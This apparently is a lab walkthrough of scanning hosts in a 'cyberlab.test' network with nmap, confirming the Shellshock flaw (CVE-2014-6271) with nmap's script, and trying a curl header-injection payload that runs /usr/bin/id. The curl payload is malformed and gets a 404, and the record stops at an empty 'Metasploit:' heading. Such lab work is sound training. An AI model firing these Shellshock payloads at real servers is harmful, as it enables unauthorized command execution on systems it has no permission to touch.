

Step 1. Finding targets

```
(root@kali)~[/home/kali]
# nmap -sV -p80,443 10.10.4.5-60
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-13 07:38 EDT
Nmap scan report for Toyota_Corolla.cyberlab.test (10.10.4.10)
Host is up (0.0044s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL ...)
443/tcp    open  ssl/http  Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL ...)
MAC Address: 00:15:5D:7C:56:0F (Microsoft)

Nmap scan report for Toyota_Carina.cyberlab.test (10.10.4.20)
Host is up (0.0099s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.2.8 ((Ubuntu) DAV/2)
443/tcp    closed https
MAC Address: 00:15:5D:7C:56:0E (Microsoft)
```

Step 2. Vulnerability

```
*Untitled 1 - Mousepad
File Edit Search View Document Help

1 10.10.4.5-100
2 nmap -p80,443 --script=http-shellshock 10.10.4.20/cgi-bin
3 dirb http://10.10.4.20/cgi-bin/ -x .php,.txt,.html
4 nmap -p80 --script=http-shellshock 10.10.4.10/cgi-bin/
5 http://10.10.4.10/cgi-bin/
6 |

(kali@kali)-[~]
$ nmap -p 80 --script=http-shellshock.nse --script-args uri=/cgi-bin/hello.cgi 10.10.4.10

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-20 02:52 EDT
Nmap scan report for Toyota_Corolla.cyberlab.test (10.10.4.10)
Host is up (0.0030s latency).

PORT      STATE SERVICE
80/tcp    open  http
| http-shellshock:
|   VULNERABLE:
|     HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs: CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known
|       as Shellshock. It seems the server is executing commands injected
|       via malicious HTTP headers.
|
| Disclosure date: 2014-09-24
| References:
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|   http://www.openwall.com/lists/oss-security/2014/09/24/10
|   http://seclists.org/oss-sec/2014/q3/685
|_ MAC Address: 00:15:5D:7C:56:0F (Microsoft)

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
```

Step 3. Vulnerability Verification

```
kali@kali: ~  
File Actions Edit View Help  
└─$ nmap -p 80 --script=http-shellshock.nse --script-args uri=/cgi-bin/hello.cgi 10.10.4.10  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-20 03:29 EDT  
Nmap scan report for Toyota_Corolla.cyberlab.test (10.10.4.10)  
Host is up (0.0041s latency).  
  
PORT      STATE SERVICE  
80/tcp    open  http  
| http-shellshock:  
| VULNERABLE:  
|   HTTP Shellshock vulnerability  
|   State: VULNERABLE (Exploitable)  
|   IDs: CVE-2014-6271  
|   This web application might be affected by the vulnerability known  
|   as Shellshock. It seems the server is executing commands injected  
|   via malicious HTTP headers.  
|  
| Disclosure date: 2014-09-24  
| References:  
|   http://seclists.org/oss-sec/2014/q3/685  
|   http://www.openwall.com/lists/oss-security/2014/09/24/10  
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169  
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271  
| MAC Address: 00:15:5D:7C:56:0F (Microsoft)  
Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds  
  
└─(kali@kali)-[~]  
└─$  
  
kali@kali: ~  
File Actions Edit View Help  
└─(kali@kali)-[~]  
└─$ sudo tcpdump -i eth0 port 80  
  
sudo: password for kali:  
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode  
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes  
29:28.811806 IP 10.10.4.131.37547 > Toyota_Corolla.cyberlab.test.http: Flags [S], seq 953993506, win 1024, options [mss 1460], length 0  
29:28.815331 IP Toyota_Corolla.cyberlab.test.http > 10.10.4.131.37547: Flags [S.], seq 3803890614, ack 953993507, win 5840, options [mss 1460], length 0  
29:28.815355 IP 10.10.4.131.37547 > Toyota_Corolla.cyberlab.test.http: Flags [R], seq 953993507, win 0, length 0  
29:28.868467 IP 10.10.4.131.33706 > Toyota_Corolla.cyberlab.test.http: Flags [S], seq 2291124718, win 64240, options [mss 1460,sackOK,TS val 225022816 ecr 0,nop,wscale 7], length 0  
29:28.871999 IP Toyota_Corolla.cyberlab.test.http > 10.10.4.131.33706: Flags [S.], seq 3812343045, ack 2291124719, win 5792, options [mss 1460,sackOK,TS val 1665674936 ecr 225022816,nop,wscale 6], length 0  
29:28.872085 IP 10.10.4.131.33706 > Toyota_Corolla.cyberlab.test.http: Flags [.], ack 1, win 502, options [nop,nop,TS val 225022820 ecr 1665674936], length 0  
29:28.874872 IP 10.10.4.131.33706 > Toyota_Corolla.cyberlab.test.http: Flags [P.], seq 1:111, ack 1, win 502, options [nop,nop,TS val 225022822 ecr 1665674936], length 110: HTTP  
29:28.877188 IP Toyota_Corolla.cyberlab.test.http > 10.10.4.131.33706: Flags [.], ack 111, win 91, options [nop,nop,TS val 1665674938 ecr 225022822], length 0  
29:28.879794 IP Toyota_Corolla.cyberlab.test.http > 10.10.4.131.33706: Flags [P.], seq 1:215, ack 111, win 91, options [nop,nop,TS val 1665674940 ecr 225022822], length 0
```

Curl:

```
└─(kali@kali)-[~]  
└─$ curl -A '{ }' ignored; } echo Content-Type: text/plain; echo; echo; /usr/bin/id http://10.10.4.10/cgi-bin/hello.cgi  
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
<html><head>  
<title>404 Not Found</title>  
</head><body>  
<h1>Not Found</h1>  
<p>The requested URL /cgi-bin/hello.cgi was not found on this server.</p>  
</body></html>  
  
└─(kali@kali)-[~]  
└─$  
  
kali@kali: ~  
File Actions Edit View Help  
537656 ecr 1665803650], length 0  
03:38:03.710165 IP Toyota_Corolla.cyberlab.test.http > 10.10.4.131.54996: Flags [F.], seq 586, ack 156, win 108, options [nop,nop,TS val 1665803651 ecr 225552715], length 0  
03:38:03.710172 IP 10.10.4.131.54996 > Toyota_Corolla.cyberlab.test.http: Flags [.], ack 587, win 498, options [nop,nop,TS val 225552715 ecr 1665803651], length 0  
^Z  
zsh: suspended sudo tcpdump -i eth0 port 80  
  
└─(kali@kali)-[~]  
└─$ sudo tcpdump -i eth0 port 80  
  
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode  
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes  
03:38:18.763493 IP 10.10.4.131.51064 > Toyota_Corolla.cyberlab.test.http: Flags [S], seq 3823989804, win 64240, options [mss 1460,sackOK,TS val 225552711 ecr 0,nop,wscale 7], length 0  
03:38:18.767318 IP Toyota_Corolla.cyberlab.test.http > 10.10.4.131.51064: Flags [S.], seq 3517344721, ack 3823989805, win 5792, options [mss 1460,sackOK,TS val 1665807416 ecr 225552711,nop,wscale 6], length 0  
03:38:18.767346 IP 10.10.4.131.51064 > Toyota_Corolla.cyberlab.test.http: Flags [.], ack 1, win 502, options [nop,nop,TS val 225552715 ecr 1665807414], length 0  
03:38:18.767462 IP 10.10.4.131.51064 > Toyota_Corolla.cyberlab.test.http: Flags [P.], seq 1:155, ack 1, win 502, options [nop,nop,TS val 225552715 ecr 1665807416], length 154: HTTP: GET /cgi-bin/hello.cgi HTTP/1.1  
03:38:18.769222 IP Toyota_Corolla.cyberlab.test.http > 10.10.4.131.51064: Flags [.], ack 155, win 108, options [nop,nop,TS val 1665807415 ecr 225552715], length 0  
03:38:18.771834 IP Toyota_Corolla.cyberlab.test.http > 10.10.4.131.51064: Flags [P.], seq 1:586, ack 155, win 108, options [nop,nop,TS val 1665807416 ecr 225552715], length 585: HTTP: HTTP/1.1 404 Not Found  
03:38:18.771858 IP 10.10.4.131.51064 > Toyota_Corolla.cyberlab.test.http: Flags [.], ack 586, win 498, options [nop,nop,TS val 225552719 ecr 1665807416], length 0  
03:38:18.772016 IP 10.10.4.131.51064 > Toyota_Corolla.cyberlab.test.http: Flags [F.], seq 155, ack 586, win 498, options [nop,nop,TS val 225552719 ecr 1665807416], length 0  
03:38:18.773792 IP Toyota_Corolla.cyberlab.test.http > 10.10.4.131.51064: Flags [F.], seq 586, ack 156, win 108, options [nop,nop,TS val 1665807417 ecr 225552719], length 0  
03:38:18.773802 IP 10.10.4.131.51064 > Toyota_Corolla.cyberlab.test.http: Flags [.], ack 587, win 498, options [nop,nop,TS val 225552721 ecr 1665807417], length 0
```

Metasploit:

